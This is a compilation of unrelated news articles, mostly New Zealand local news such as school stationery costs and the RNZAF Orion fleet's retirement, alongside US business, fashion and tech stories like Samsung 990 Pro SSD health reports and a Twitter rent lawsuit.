Since taking over Twitter, the billionaire has been slashing costs. He's fired half the staff, held back rent on the company's other offices around the world and refused to pay some outstanding bills, such as a jet charter. Those measures come as Musk is facing his first payment on the $12.5 billion in debt he took on to acquire Twitter.

The suit also comes with Musk on the witness stand in a securities fraud trial in San Francisco where he is defending his tweet to take Tesla Inc. private. He's set to return Tuesday to finish his testimony.

Twitter rents more than 460,000 square feet of space on eight floors of the San Francisco building, according to the complaint. Sri Nine Market Square held a letter of credit for $3.6 million as security, which Twitter was required to increase to $10 million if there were a transfer in control, which occurred when Musk bought the company in October for $44 billion.

Twitter argued it didn't have to boost the line of credit, according to the complaint.

Sri Nine said it drew upon the existing line of credit to cover the December rent of $3.36 million and a portion of the January rent, leaving the balance of the line of credit at $1.

Sri Nine is seeking to recover the unpaid rent and a court declaration that Twitter is in breach of the lease for failing to increase the line of credit to $10 million.

Twitter, which has disbanded its public relations department, didn't respond to a request for comment.
The cost of back-to-school necessities like stationery and uniforms can be overwhelming for some parents, with massive disparities between what different schools require.

With four kids of school age, mum Megan Pullyn says she holds her breath when reading their stationery lists each year.

She pays for two of the kids, and when stationery and uniform costs are combined, the total quickly stack up.

"Just for those two children, we are probably spending $350, if not more, a year."

Normally, Megan normally tires to reuse as many books and pens from previous years as possible.

However, some of her kids are now expected to hand everything on their lists over to their teacher on the first day of school, for the items to be shared among the class as needed.

This new shared approach means Megan is unable to employ some of her usual money-saving techniques.

"It was quite strange that both of the schools said they were going to be sharing the stationery; not to name them, not to cover them; and we had to order through a specific website which meant we weren't allowed to order from somewhere else to try and make it cheaper."

By contrast, parent Casey Watson is delighted to discover her school will be providing all students' stationery for free.

"I was so happy when I got the letter because that was money that I didn't need to pay towards another school item.

"Also, the thought of not having to go and deal with finding the books at the stores was amazing."

Casey used to spend $50-80 on stationery at the start of each year.

Now, she will put that money towards uniforms, which remains a significant expense - easily a couple of hundred dollars a year.

Lakeview School principal Tim Nelson says the initiative is a simple thing the board of trustees could implement to help parents battling with rising costs.

"These are really, really tough times, and people are really, really appreciative.

"It means that everyone starts with their stationery the same. Every kid will show up on the first day of school and their stationery will be there for them."

Because Lakeview School doesn't ask parents for any donations, it receives a payment of $154.13 per student through the Ministry of Education.

This payment is available for schools with an equity index of 432 or higher (previously for schools with a decile 1-7 rating).

Tim says it's the ministry payment that makes free stationery possible at his school.

He says the scheme costs about $14,000 a year, or about $30 per student.

"We have a lot of kids, so it's going to cost a lot of money, but it's definitely a really good way to spend money."

However, at most other schools, parents are expected to pay at least something, and there is a large variation in their expectations.

In a random selection of 10 Auckland primary schools, Checkpoint found a range of more than $100.

The average stationery pack cost $56.

The highest cost was for a year six pack at a North Shore primary school, coming in at $127.

The lowest is a year one pack at South Auckland's Bairds Mainfreight Primary School, which cost just $14.

Bairds Mainfreight principal Fiona McAree-Ngaau says her school only asks for stationery that students will definitely use.

"Where possible the school will supply some of the items instead of passing the cost on to whanau. The cost becomes higher the older our tamariki are, as they are using more stationery."

Fiona says supplying stationery affects the school's budget and is only possible because of the funding it received.

"Schools with a different equity index may be in a different financial position."

'It's a big cost'

Several charities have stepped up to help families struggling with their back-to-school costs, operating stationery or uniform banks with a model similar to foodbanks.

Education is a Right, Not A Privilege (Eiarnap) founder Benji Pritchard says as school subjects became more specialised, the equipment requires a ramp up in price.

"The cost of stationery often gets disregarded as a really small cost, but it's a big cost.

"You've got things like graphics calculators that could cost a family $150, $170."

Pritchard collaborated with schools in the Manawatu and Wellington regions, providing kids in need with the same stationery items as everyone else in a discrete manner.

"The reason we take that approach is so that the kids don't feel like they're sitting there with different books if everyone's got the same book except for them in the class.

"It goes back to not wanting anyone to feel like they're sticking out because of financial backgrounds."

Before the first term last year, the charity distributed about 3000 stationery packs, and Pritchard says while the need remained so high, it was on track to do the same again this year.

Parents on low incomes can also apply for hardship assistance for school costs through the Ministry of Social Development.

Client service delivery manager Geoff Cook says although this money will have to be paid back, MSD can discuss setting repayments at manageable levels.

"We know this time of year can be tough. Anyone struggling with school costs can come talk with us about how we may be able to help."

'Budgeting is key'

Financial Advice chief executive Katrina Shanks told Checkpoint there is no doubt the financial pressure on families at this time of the year is significant.

She says back-to-school costs for some children starting new schools can be as high as $1500 to $2000 once the costs of stationery, uniform and any technology requirements are taken into account.

"If you have a child which needs technology for the first time in school, you could be looking at anything between $500 and $2000 to just get the technology requirement in place for them.

"And then if you've got multiple children of course, that increases significantly."

Those costs are "absolutely huge for any family," she says, especially coming on the back of Christmas and school holidays.

Budgeting is "key", she says, and can help to alleviate the pressure at the beginning of the school year.

Her number one recommendation is that families try to budget for school costs throughout the year by setting up a specific account for their children's school needs and putting $30 or $40 into it each pay day.

"That kids account will slowly build - and that pays for your school camp and your fees and your stationery ... so you're actually allowing yourself to plan and budget for it."

Those who have not been able to plan and put extra money aside should investigate second-hand options for uniforms, she says.

"Swapping with friends is also really helpful - swapping bags of uniforms can bring the cost down."

She says it can pay to wait until stationery shops have sales before going out to buy what is needed, or to shop online to avoid their kids asking for additional items while in the shop.

Buy-now, pay later schemes could also help smooth the costs out over several weeks, but that option should only be considered by people who knew they would be able to make the repayments, Shanks cautioned.

-Tom Taylor/RNZ.
One of the Bay of Plentys most popular school camp sites will largely run off-grid thanks to new solar panels and batteries purchased with the help of a $35,000 grant from BayTrust.

The eco-friendly initiative will also be used to teach students visiting Ngamuwahine Outdoor Education Lodge, in the lower Kaimais, about the benefits of solar power and the importance of sustainability.

Eleven local schools including Tauranga Intermediate, Bethlehem College, Pyes Pa School, Matua Primary, Otumoetai Primary, St Thomas More, Oropi School, Omokoroa Point School and Kaimai School currently send around 3000 students a year to stay overnight at the lodge.

Expansion plans are well underway to cater for growing demand, with a new out camp featuring canvas tents ready to open for 2023.

Camp Administrator and Head Instructor Gerry Hart says the rising cost of electricity, plus a desire to make the lodge as environmentally-friendly as possible, has prompted the Ngamuwahine Lodge Trust to invest in three new solar power batteries and an additional 24 solar panels.

Twelve years ago we did a major building development and at that time we installed 52 solar panels on the roof of our new building, Gerry explains.

This has subsidised our power to some degree over the years but because we had no batteries to store the power created during the day, much was exported back to the grid.

The lodge uses most power in the evenings when the sun has gone down. If we can store the power produced during the day into batteries, that will allow us to utilise it during the evening.

The new solar power system will produce 26,557kW per year which will account for two thirds of the lodges annual power requirements, substantially reducing its $12,000 annual power bill.

New 'outcamp' at Ngamuwahine Trust Camp.

It will make things a lot more efficient than what weve got at the moment, Gerry says.

Weve also got hot water on diesel at present which were going to change over and use some of the power were generating with the solar system to heat the hot water.

The solar batteries and ability to operate during a power outage will also make the lodge an ideal venue for the community to congregate during a civil defence emergency, he says.

The BayTrust grant will cover approximately half the cost of the new batteries and solar panels.

The Ngamuwahine Trust is delighted and appreciative for the Bay Trust grant. This has been an on-going project which we have been waiting to finish for several years.

BayTrust CEO Alastair Rhodes says the lodges solar power project is a great example of a community organisation looking to sustainably manage their own natural resources.

Our priority is to help Bay of Plenty communities and our environment to flourish. This project achieves both of those aims. School camp is an important childhood milestone and Ngamuwahine Outdoor Education Lodge is a very special place for students to test their physical and emotional limits. Its also the perfect venue to learn about environmental kiatiakitanga (guardianship) and the benefits solar power can provide.
Ticket holders for Tauranga's cancelled 'Juicy Fest' may experience delays waiting for their refund this week.

According to event promoter Glenn Meikle, refund delays can be attributed to "hold ups" from the event organisers insurance process.

"Our event was fully insured, so we're waiting on our end too. As soon as we receive our payment, we can get the refunds back to the customers," says Glenn.

Juicy Fest Tauranga was scheduled to begin on Friday, January 6, but was called off due to dangerous weather conditions.

According to Glenn, around 15,000 people had purchased tickets.

On the day of cancellation, event organisers gave a window of 14 business days for refunds to be processed. Today is the 15th business day after the refunds were promised.

Glenn says the process is a big job for their insurance provider, and ticket holders can "rest assured," as the refunds will be processed "as soon as possible".

"It was really unfortunate. Basically on the day the riggers couldn't get up because it was too windy. We can do shows in the rain, but setting up in windy weather is a lot more challenging for health and safety."

Glenn adds he hopes to bring something to Tauranga next year, as the rest of the Juicy Fest tour has been "very successful".

"We'll stay in communication with ticket holders. If you're a ticket holder, look out for an email as we will be in touch."

Ahead of the One Love festival, Glenn says organisers and promoters are "really looking forward" to the sold out event this weekend.

"We've still got more coming up, we're on to One Love this week. Last year we had to cancel it and had to go through the whole insurance process which took a long time as well.

"It was really gut wrenching last year to call One Love off, so we're really looking forward to this weekend to put it back on. A lot of businesses here really do well with all the people coming in so we're really stoked to have it back."
An Air Force veteran says a recent rescue of two missing Kiribati fishers was a "fitting" way to retire the branch's Orion P-3K2 fleet after nearly six decades of operation.

But the replacement P-8 Poseidons won't be rescue-ready until July, leaving a gap where the force will be leaning on other agencies and countries to help out with any emergencies.

An Orion crew found the two men in their dinghy shortly after arriving in the search area last week, following an unsuccessful search by a US Coast Guard Lockheed C-130 aircraft. They had been missing for six days.

"It was fitting that once again, the P-3 and its crew have gone out and contributed to a lifesaving mission in the Pacific," RNZAF Air Commodore Shaun Sexton told Morning Report on Wednesday.

"It's done it many times over its 57-year history, and one more in its final month of service was pretty exciting."

New Zealand received five of its six Orions in the mid-1960s, followed by another in the mid-1980s.

"They've had many modifications and improvements over the years - new wings, new avionics and communications and sensor systems," said Sexton.

The unique combination of upgrades over years resulted in their model name being upgraded from the original P-3 to P-3K2.

"They've operated from Antarctica through to northeast Asia, through to Europe - all around the world - but predominantly... supporting our Pacific whanau and neighbours with things like the search and rescue just conducted, and of course supporting New Zealand and surveying New Zealand's EEZs and protecting New Zealand's interests. Looking after New Zealanders with local search and rescues as well."

One of them took its last flight in 2021. The others are being retired earlier than hoped due to "particularly high attrition amongst the skilled workforce that we need".

The Defence Force in 2022 said personnel were being lured out of military careers thanks to growing salaries in the civilian sector.

"The early retirement allows to focus efforts on the P-8, the new Posiedon aircraft which will begin to fly around New Zealand in the coming weeks," says Sexton.

"That'll slowly, over the coming months, build up its capability and start to deliver some of the outputs of the Orion. There will be a period where we will be using some other aircraft, support from partners."

Sexton says the RNZAF "may ask" other countries to help if needed, otherwise they will work with domestic agencies like the Rescue Coordination Centre and National Maritime Coordination Centre.

"But we will be able to use for instance, our Hercules aircraft to provide most of the support that's necessary over this period."

A Defence Force spokesperson in December said the shortage was "exacerbated by the need to also transfer experienced staff in some areas to support the upcoming introduction of the new C130-J-30 Hercules fleet in 2024".

The first Poseidon P-8 arrived in December, and the rest will be here by April. Those already here will be in the air by February, and ready to take part in rescues by July.

"It will take another year after that - so towards the end of 2024 - before the P8 is fully ready, that we've got all the crews trained, the maintenance people ready to go, to deliver the full suite of surveillance and response force outputs that the P3's been delivering all these years," said Sexton.

The US Navy retired its last active duty Orions in 2020, and will phase them out completely later this year, also replacing them with P-8s.

Compared to the Orion, the Poseidon requires fewer crew to operate, is larger, heavier, with stronger engines, a higher top speed and can fly higher.

The Orion is expected to flyover Whitianga this week as as part of three-ship formation flypasts around the North Island to celebrate the fleet's service of more than 55 years.

-RNZ.
There have been 13,880 new cases of Covid-19 over the past week, the Ministry of Health has reported.

The seven-day rolling average of community cases is 1979 - last Monday it was 2738. Of the new cases, 5357 are reinfections.

There were also 242 people in hospital at midnight Sunday including seven cases in ICU.

The ministry also reported 79 deaths.

Of the 79 people whose deaths were reported, two were from Northland, 24 were from the Auckland region, six were from Waikato, five were from Bay of Plenty, two were from Lakes, one was from Tairawhiti, two were from Hawke's Bay, one was from Taranaki, six were from MidCentral, three were from Wellington region, three were from Nelson Marlborough, 12 were from Canterbury, two were from South Canterbury and 10 were from Southern.

One was less than 10 years old, two were in their 20s, two were in their 40s, seven were in their 50s, 12 were in their 60s, ten were in their 70s, 27 were in their 80s and 18 were aged over 90, the ministry reported.

Of these people, 50 were women and 29 were men.

Today's figure compares to 19,215 new Covid-19 cases, 57 further deaths and 333 people in hospital with the virus, announced last Monday.

-RNZ.
The Royal New Zealand Air Force No. 5 Squadrons much-loved P-3K2 Orion aircraft put on a show in the skies over the North Island today, before the fleet retires at the end of the month after more than 55 years of service.

A three-ship formation flight departed RNZAF Base Auckland, at Whenuapai, and flew over Waikato, Manawatu, Napier, Tauranga, Coromandel Coast, Great Barrier Island and Whangarei, with close formation fly-pasts over Ohakea, and Wellington and Auckland harbours.

The first P-3 Orion maritime patrol aircraft arrived in New Zealand in 1966 and since then the type has carried out airborne surveillance and reconnaissance missions around the globe.

Although New Zealands areas of economic interest, exclusive economic zone, the South Pacific and the Southern Ocean were its primary operating areas, the P-3 Orion operated over every continent through its life - covering missions from Antarctica to the Arctic, the Middle East, South East Asia and through Europe and North America.

The fleet of six Orions has provided a range of services to government agencies and communities, including fisheries and customs surveillance, search and rescue missions, and humanitarian aid and disaster relief; alongside security and stability operations in the Middle East and South East Asia working for United Nations (UN) and Combined Maritime Forces Commands.

This is a bittersweet moment for us, where we have to farewell a faithful old friend who has looked after not just our crews for nearly 60 years, but all of New Zealand and our friends and neighbours in the Pacific, says RNZAF No. 5 Squadron Commanding Officer, Wing Commander Glen Donaldson.

In total, the six P-3 Orions have flown just under 150,000 hours of service.

This has included such milestones as the search for flight MH-370 which disappeared in 2014 en route from Kuala Lumpur to Beijing; the Queens Birthday 1994 search and rescue in which they assisted several vessels caught in a huge storm during the Auckland to Suva yacht race; becoming the first aircraft to provide reconnaissance after the Hunga Tonga Hunga-Haapai eruption, alongside countless missions after cyclones devastated Pacific islands; counter narcotics, anti-piracy, and anti-smuggling security missions in the Middle East; and more recently security patrols for the UN in the East China Sea to counter smuggling activity to North Korea.

From hunting submarine periscopes in the North Sea on exercise with allied partners to finding people clinging to fishing buoys in the South Pacific, the P-3 Orion really has seen the world and made a huge contribution to individuals, to communities, to New Zealand and to global partners.

That life-saving sound of a P-3 overhead, heard by many, will be gone. But for all those people who have had any sort of interaction with the aircraft, shell always be in our hearts and memories.

Four P-8A Poseidon maritime surveillance aircraft will replace the Orion fleet and will be based at RNZAF Base Ohakea. The first of the new Poseidon aircraft landed in Aotearoa New Zealand last month.

This is certainly a historic time to celebrate the long service of an amazing aircraft, but also an exciting time as we transition to a new era of maritime patrol which will continue to serve the people of New Zealand faithfully.

In total, over the past 57 years the fleet has flown 147,978.2 hours.

Total hours for each airframe:

NZ4201 24,419.3

NZ4202 26,721.1

NZ4203 26,599.8

NZ4204 22,171.5

NZ4205 25,880.9

NZ4206 22,185.6
On the morning jury selection was scheduled to start in his trial, a Virginia man pleaded guilty to robbing an Auburn bank last year.

The Cayuga County District Attorney's Office said Monday that Johann Bass, 45, of Falls Church, Virginia, admitted guilt to a third-degree robbery charge in connection with an incident at the KeyBank branch on Genesee Street on the city's west side on Jan. 12, 2022.

The DA's office said Bass entered the branch and handed the teller with a note that said Stay calm, I have a gun, give me your money. He made off with about $700 in cash that included four $20 bills with previously recorded serial numbers. When Bass was stopped by New York State Police in the village of Aurora an hour later, police said, he possessed those same bills.

The guilty plea comes with an expected 2 1/3 to 7 years in prison sentence, the DA's office said. Sentencing is scheduled for April 27 in front of Cayuga County Court Judge Thomas Leone.

The bank robbery investigation included the Auburn Police Department, New York State Police and the Cayuga County Sheriff's Office. Chief Assistant District Attorney Christopher Valdina and Assistant District Attorney Richard Pado handled the prosecution.

We commend the efforts of our local law enforcement partners in locating and apprehending the defendant," District Attorney Brittany Grome Antonacci said in a press release. "Given their quick actions and investigation, our Office was able to secure the conviction and bring the defendant to justice.

A second person who was charged in connection with the robbery has also pleaded guilty. Authorities said Elizabeth Yoensky served as the getaway driver from the robbery scene in Auburn, and pleaded guilty Monday to one count of third-degree robbery. The court sentenced Yoensky, who had a previous address in Auburn, to time already served, which ran from about Sept. 1 through Monday, the DA's office said.

A few weeks after the robbery, Bass and Yoensky were arrested again and charged with third-degree burglary, petit larceny and fifth-degree conspiracy stemming from a burglary at a local business, the DA's office said. Those charges were satisfied with Monday's guilty pleas.

Police name suspects apprehended in Auburn bank robbery A man and woman were taken into custody in connection with a bank robbery reported on Auburn's west side Wednesday afternoon.
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LOS ANGELESNational retailer and part of the Hustler empire built by Larry Flynt, Hustler Hollywood on Tuesday announced that its doors are officially open for business at 2194 W. 3500 South, West Valley City in Salt Lake City, Utah.

This location marks the company's first brick-and-mortar store in the state of Utah for the retail chain, a leader in the sexual health and wellness area for more than two decades.

The Salt Lake location will carry an edited selection of products that cater to any desire or budget, including fashion-forward apparel, accessories, bath and body items, and unique gifts, including games and party supplies for bachelor/bachelorette bridal showers, festivals, and more. Each store is designed to offer an upscale consumer experience.

We knew Salt Lake would be an exciting market to enter based on how many fans and customers we have in the area. Utah is a beautiful state, and Salt Lake is a great city, and we look forward to being a part of this growing community, said Philip Del Rio, vice president of retail.

The boutique will hold a celebratory grand-opening event on Saturday, February 18, from 6 to 9 p.m., where attendees, while listening to a live DJ, will have the opportunity to mingle, shop, and enjoy desserts and drinks, plus have the chance to win prizes throughout the evening. In addition, one lucky winner will receive a $300 in-store shopping spree. The event is free and open to the public.

All Hustler Hollywood retail locations offer a military discount of 10% to customers who provide their active military ID at the time of purchase.
A gang of big banks, including Wells Fargo, Bank of America, and JPMorgan Chase, are reportedly preparing to launch a digital wallet product to compete with those offered by tech heavyweights Apple, Google, and PayPal.

The bank wallet  which is being developed by Early Warning Services (EWS), a bank-owned enterprise that operates the money transfer service Zelle  would be linked to a consumers debit and credit cards and allow them to buy from online merchants more easily, the Wall Street Journal reported Monday.

Other banks in the venture include Capital One, PNC Financial Services, U.S. Bancorp, and Truist Financial Corp.

The motivation here is to try to slow down Apples and Googles growth in the financial transaction space, said Ross Rubin, principal analyst with Reticle Research, a consumer technology advisory firm in New York City.

The banks want to reclaim the share of the transaction Apple gets when a credit card is used with Apple Pay, Rubin told the E-Commerce Times.

Competition in the Financial Services Sector

According to the Journal, the banks are worried about losing control of their customer base and see Apple, in particular, as a significant threat, especially with its reported moves into savings accounts with Goldman Sachs and into a possible buy now, pay later offering.

Financial services are all threatened by digital wallets. That is why Goldman Sachs partnered with Apple to stay ahead of the competition, Tim Bajarin, president of Creative Strategies, a technology advisory firm in San Jose, Calif., told the E-Commerce Times.

Financial services firms operate in a highly competitive space and undoubtedly are aware of Apple and PayPals growing aggressiveness, added Mark N. Vena, president and principal analyst at SmartTech Research in San Jose, Calif.

Apple and PayPal, for the most part, have focused on consumer and small business transactions, while the legacy financial services firms have focused on the large organizations, corporate business transactions, and mortgages, Vena told the E-Commerce Times.

If Apple and PayPal start to explore those areas, youll see heightened activity from the legacy financial service firms to attempt to cut that off at the pass.'

Banks Must Overcome Consumer Inertia

The Journal noted that the banks expect 150 million debit and credit cards will be eligible for use with the new wallet when its introduced. Any U.S. consumer whose payments on their card are up to date, who has used their card online, and who provides an email and phone number will be able to participate in the program.

While the details of the user interface are still being worked out, the Journal explained, the wallet will likely involve typing an email address on a merchants checkout page, using EWSs backend connections to the banks to load a buyers credit card into the wallet and the buyer choosing which card to use to make a payment.

Although integration with the banks will be beneficial for the wallet, it will need more than that to attract customers.

In order to encourage adoption, the banks are going to have to do something that adds value for the consumer to make a switch, observed Dayna Robyn Radbill, a senior research director at Gartner.

Merely enrolling consumers into the wallet program wont make it a success, she added. It must be more than just enrolling  which they might be able to achieve when someone opens a bank account  but in actually getting usage, because right now, consumer needs are fairly well-served by their existing plastic cards or the mobile wallets that are already out there, Radbill told the E-Commerce Times.

Consumers are creatures of habit, she added. The biggest thing to overcome is inertia. It takes a lot more to get a consumer to change their behavior when their needs are already met than when there is a gap in their current experience.

Rough Road for Newbies

Even if the banks are successful with wallet enrollment, they still need to make a compelling case to merchants, Radbill continued.

Thats probably going to require some technical investment on the merchants side, she said. So the merchant needs to be convinced that theres something in it for them.

Typically, they want to see a huge consumer base using and demanding a particular wallet, she explained. The challenge will not only be to get consumers to use it, but to get merchants to sign up for it, too.

Bajarin noted that introducing a bank wallet is less about gaining an advantage through digital innovation and more about staying competitive and keeping service fees for the banks.

PayPal, Apple Pay, and Android pay services have a huge lead in digital wallets, he said. The challenge for the banks will be to market this to their own customers and convince them to use their service over competitors.

Vena pointed out that there are high hurdles for getting into the digital wallet space as a newcomer.

The space is already crowded, and differentiation in surfaces is becoming more difficult, he told the E-Commerce Times.

Newcomers must have massive capitalization to enter the market  which often requires partnering with an established bank or financial institution  and competitiveness over fees makes it difficult to drive reasonable profitability, he continued.

The field is so crowded with big names like Apple, Google, Venmo, PayPal, and others, he added, that its very difficult for a newcomer to clearly articulate a compelling, differentiated value proposition versus the established players.

Home Screen Presence

Rubin argued that consumers dont need multiple digital wallets.

On a phone, one is provided by default by the operating system vendor, he explained. Other vendors have wallets, but they dont have the integration into contactless payments that Apple and Google have.

The banks may be able to strike a deal with a phone maker to get some visibility on a home screen, he noted. With Samsung phones, you can pay with Google or Samsung, but with Apple, it would be more challenging because the platform is more closed to those types of things, he said.

However, Rubin added, there has been regulatory pressure on Apple to open up its ecosystem. If this new initiative could establish itself, the banks could perhaps lobby for consumer choice in digital wallets to pay for things on Apple phones.

Vena noted that it will be difficult for the banks to compete against technology companies for the hearts and minds of consumers because of the close relationship those companies have with their customers.

This is particularly true of Apple due to their business model, he said. Because of this reality, several financial services firms have opted to partner with the likes of Apple because they understand the strength of Apples brand and customer relationships.
Nothing says fierce like using an apex predator as a brooch. On Monday, Kylie Jenner stole the show at Schiaparelli's couture runway in Paris when she arrived in a black velvet strapless gown adorned with the life-size head of a lion  a pre-release from the label's Spring-Summer 2023 couture collection that debuted moments later.

The hyper-realistic faux head (complete with a manicured mane) covered the entirety of Jenner's torso. She finished the outfit with a pair of black Schiaparelli sling-backs with golden embossed toes.

Moments after taking her seat, Jenner's surreal lion look was spotted again on the runway alongside a series of other animalistic ensembles. According to the show notes, the collection was inspired by Dante's "Inferno" and the nine circles of hell  a metaphor for the doubt and creative torment all artists experience, wrote creative director Daniel Roseberry. Drawing literally from the three beasts that appear in the 14th century poem, Roseberry reimagined the leopard, the lion and the she-wolf in the collection; "representing lust, pride and avarice respectively." Naomi Campbell modeled a boxy, black faux fur coat with a wolf's head emerging from the left shoulder, while Canadian model Shalom Harlow wore a strapless snow leopard tube dress with a roaring feline head bursting through the bust.

The head-turning pieces were constructed entirely by hand from foam resin and other man-made materials. Yet despite Schiaparelli specifying the pieces are "faux-taxidermy," the visual parallel with trophy hunting means some social media users are finding the collection difficult to appreciate.

But for Roseberry, if the clothes are instilling fear then they're doing their job. "Inferno, Purgatorio, Paradiso: One cannot exist without the other," he concluded in the show notes. "It is a reminder there is no such thing as heaven without hell; there is no joy without sorrow; there is no ecstasy of creation without the torture of doubt."

Photos from Paris Fashion Week: Jan. 23, 2023
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A hot potato: Solid-state drives can only write a limited amount of data throughout their lifespans, signified by each drive's "health." A worrying number of recent reports have emerged of Samsung's typically lauded 990 Pro SSD losing health far too quickly, and Samsung has been slow to address them.

Users have reported faster-than-normal health degradation in Samsung 990 Pro SSDs for about a month. No one seems to have determined the cause, which affects all drive sizes. Samsung only recently opened an investigation into the matter.

Multiple users on Reddit and overclock.net say that storage utility programs are reporting alarmingly low health numbers for their 990 Pros and shockingly high amounts of written data after only a few weeks of use. Multiple utilities like CrystalDiscInfo and Samsung's Magician software report the same stats moving more precipitously.

Samsung's warranty covers the 990 Pro for up to five years or 600 terabytes written (TBW) for the 1TB model and 1,200 TBW for the 2TB model, starting at 100 percent health upon initial installation. Magician and CrystalDiscInfo told one user their 2TB SSD had only 93 percent health left despite having written only about 7TB, which should leave them with over 99 percent health. Others report similar health ratings despite having written even less.

After reading your article, I thought I'd take a look at mine. The results are horrendous! 36% worn out after writing less than 2TB of data? @SamsungUK what is going on? pic.twitter.com/VdzLoEAarN --- Neil Schofield (@neilaschofield) January 22, 2023

At least one user's drive loses about one percent per week, which could kill the SSD within 18 months. Another lost three percent in one day. One nasty instance on Twitter shows a CrystalDiscInfo results screen with 64 percent remaining after only 2TB of writes (above).

Neowin's Robbie Khan encountered the issue and sent his SSD to Samsung, hoping techs could uncover the root cause. Samsung returned the drive after a factory reset, which should have restored its health to 100 percent, but it had only 94 percent. Samsung offered to replace the SSD and take Kahn's to try and replicate the issue.

It's unclear if the problem stems from software or hardware. There could be a glitch in how the SSDs report their values to health checks. The only commonality between the affected drives is that they are all Windows OS drives, so the problem could also be an operating system bug. Hopefully, Samsung will deliver an official public statement soon.
Why it matters: There are many mysteries regarding the Earth's core. One involves seismic fluctuations over the last several decades. Some scientists think they are evidence of changes in the inner core's rotation, but others disagree on their timing. The effects for us on the surface have likely been minimal.

A new study suggests that the Earth's inner core recently stopped spinning and is changing its direction. The changing spin may be behind slight fluctuations in the length of a day from year to year.

In the January 2023 issue of the science journal Nature Geoscience, researchers Xiaodong Song and Yi Yang of China's Peking University claimed the planet's inner core stopped spinning relative to the other layers around 2009. The Earth's innermost layer, about 3,100 miles below our feet, made of hot iron and about the size of Pluto, can rotate independently of the mantle and crust because of a liquid outer core that surrounds it.

The researchers said the inner core started reversing its spin after stopping and that this process repeats about every 35 years. The reversal last occurred in the early 1970s; the next could be in the mid-2040s.

The study involved measuring the seismic waves that travel through the Earth. These ripples date back to 1964 and originate from earthquakes and nuclear explosions. Waves showing significant temporal changes in the early 1990s showed relatively slight variation throughout the last decade, possibly suggesting that the core's rotation has paused. The researchers found similar data from the early 1970s, and the data correlates with changes in the length of a day.

University of Southern California seismologist John Vidale disagrees. He thinks the inner core oscillates every six years based on data from nuclear explosions from the late 1960s to the early 1970s. Other geophysicists have numerous theories, but Vidale doesn't believe any models adequately explain all the data.

One theory claims the inner core moved significantly between 2001 and 2013 but hasn't moved since. Australian National University geophysicist Hrvoje Tkalcic claimed in his research that the core cycles back and forth every 20 to 30 years instead of changing in one direction every 35 years.

However, he also doubts the accuracy of all the proposed theories. Seismic data only provides limited information about what's happening inside the Earth. Other theories postulate that the inner core may have another core inside it. So scientists have yet to reach a consensus on what happens in the inner Earth.
TechSpot is about to celebrate its 25th anniversary. TechSpot means tech analysis and advice you can trust

Something to look forward to: Every winter, Samsung holds an "Unpacked" event to unveil its latest Galaxy devices, most notably the Galaxy S phones. This year Samsung is also revealing new Galaxy Books and some feature a display that may leave customers excited for the flagship release.

On February 1, Samsung plans to host its first in-person Galaxy Unpacked since before the Covid pandemic. As usual, Samsung should unveil the latest Galaxy phones. This year it could also introduce its newest series of Galaxy Books --- Samsung's line of laptops. While most specifications are scarce, Samsung Display revealed some features of the upcoming Galaxy Book displays.

Samsung plans to use its on-cell touch AMOLED (OCTA) displays on the upcoming Galaxy Books. The company introduced OCTA screens with the 2010 line of Galaxy smartphones, but this is the technology's debut in laptops. Rather than a dedicated touch layer, OCTA panels feature touch sensors built into the display, making them 6- to 11-percent thinner.

The panels will also support a 120 Hz refresh rate and a 3K resolution across a 16:10 aspect ratio. Considering the now-confirmed rumors of a Galaxy Book 3 Ultra and a switch to OCTA displays could push Samsung near the top of the "high-end" laptop space.

Samsung Display did not confirm how many Galaxy Book models will include an OCTA display. While the upcoming Galaxy Book 3 Ultra will undoubtedly feature it, standard or pro variants may not come equipped with OCTA.

The new displays will allow Samsung to get a head start on the small but ever-growing market of touchscreen OLED laptops, currently dominated by Asus and Dell. The South Korean tech titan may be able to reel in a large number of buyers before its largest competitor, Apple, releases its touchscreen OLED MacBook, expected in 2025. Microsoft is out of the running in the OLED laptop market since it has no plans to add OLED displays to its Surface line.

We're still only in January, yet there have already been numerous reveals and releases, and it will get more interesting as the year continues. Overall, 2023 could prove to be pivotal for display technology. Many companies, such as Samsung, Asus, and LG, are expected to push the boundaries of both OLED and Mini-LED displays.

For early adopters, Samsung offers $50 off when you reserve a phone or laptop and $100 off when pre-ordering both. Devices ship on February 1.

If you're interested in any of the upcoming Galaxy Book laptops, Samsung is currently allowing customers to reserve a pre-order once the device is revealed on February 1.
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In a nutshell: Radxa has introduced a new single board computer that could be a viable alternative for those struggling to get their hands on a Raspberry Pi. The credit card-sized Rock 5A is based on the Rockchip RK3588S, an octa-core SoC comprised of four Cortex-A76 cores clocked between 2.2GHz and 2.4GHz alongside four Cortex-A55 cores running at 1.8GHz.

You also get a Mali G610MC4 GPU and support for up to 16GB of RAM.

Other noteworthy hardware features include a microSD card slot, two micro HDMI ports (one supporting up to 8Kp60 and one supporting up to 4Kp60), a Gigabit Ethernet port, an M.2 PCIe 2.1 (one lane) SATA connector, a camera port, a display port, a USB Type-C port for power and a 40-pin header supporting multiple interface options. Full hardware specifications can be found on the Radxa forums.

Raspberry Pi boss Ebon Upton warned in December that consumers should not expect a next-gen board from the company in 2023. Instead, Raspberry Pi will spend this year recovering from the global chip shortage that rocked the supply chain during the pandemic.

It would be a mistake, Upton said, to try and put out a Pi 5 this year if production could not scale properly to meet demand. What's more, launching a new version too soon could impact the sales of existing models that are still in high demand.

CNX Software put the Rock 5B (based on the similar RK3588) to the test last year and found it was able to run circles around the Raspberry Pi 4 and other SBCs, especially when it came to memory bandwidth. If you need a SBC with some punch, this could very well be it.

Radxa's Rock 5A is expected to ship early in the second quarter of this year. Interested parties can put down a $5 deposit towards a 4GB, 8GB or 16GB model that will end up costing $69, $89 or $129, respectively, after early bird discounts have been applied.
Workplace cyberbullying has been victimizing many people for the past years.

(Photo : Photo by BARBARA GINDL/APA/AFP via Getty Images)

A picture taken on March 15, 2020 shows glasses on a laptop at a home office desk in Salzburg, Austria. (Photo by BARBARA GINDL / APA / AFP) / Austria OUT

But, this online harassment started to get worst after the global pandemic forced people to do their daily activities online.

Forbes reported that many statistics show that one out of five employees has already experienced workplace cyberbullying.

If you are also a victim or want to avoid becoming one, here's what you need to know.

Combating Workplace Cyberbullying This 2023

Before you can combat workplace bullying, you should know what this online harassment is first.

(Photo : Photo by Matt Cardy/Getty Images)

A pupil uses a laptop computer during a english lesson at the Ridings Federation Winterbourne International Academy in Winterbourne near Bristol on February 26, 2015 in South Gloucestershire, England.

Also Read: Instagram Takes Measures Against Cyberbullying: You Can Now Disable Or Like Comments

